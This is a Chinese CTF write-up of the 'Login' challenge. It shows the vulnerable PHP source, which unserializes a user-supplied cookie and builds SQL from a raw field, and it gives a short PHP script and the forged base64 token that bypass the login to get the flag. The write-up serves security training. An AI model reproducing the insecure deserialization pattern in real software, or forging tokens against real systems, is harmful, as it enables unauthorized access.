Login ------------------ “百度杯”CTF比赛 十月场
程序员文章站
2022-04-08 17:57:29
...
登录界面
右键查看源码
没有什么信息(才怪嘞(╯‵□′)╯︵┻━┻),往下划拉,最底下有惊喜
应该就是账号密码了,用它们登录后只有一个表情,好像也没啥信息
查看源码也木有发现
用Burp抓包看看,响应包里面有个show参数很可疑啊
在请求包里改成 show: 1 添加试试
返回了源码
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
审计代码,发现登录账号 user 必须是 ichunqiu 才会显示flag
if($login['user'] === 'ichunqiu')
{
echo $flag;
并且user被处理过
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
相关函数:
unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值
gzuncompress:解压被压缩的字符串
base64_decode:base64解码
分析可知,login是通过token接收user,并进行base64解码,再解压缩,反序列化
那么我们只要对其进行一系列逆操作就行,先处理 ichunqiu 字符串
<?php
$a = array("user"=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>
将以上代码保存为ichunqiu.php文件,在本地打开(这使用的wamp,放在www目录下),浏览器里面输入127.0.0.1/ichunqiu.php 即可
复制返回的字符串,在请求包中创建一个cookie token:eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
Go 获得flag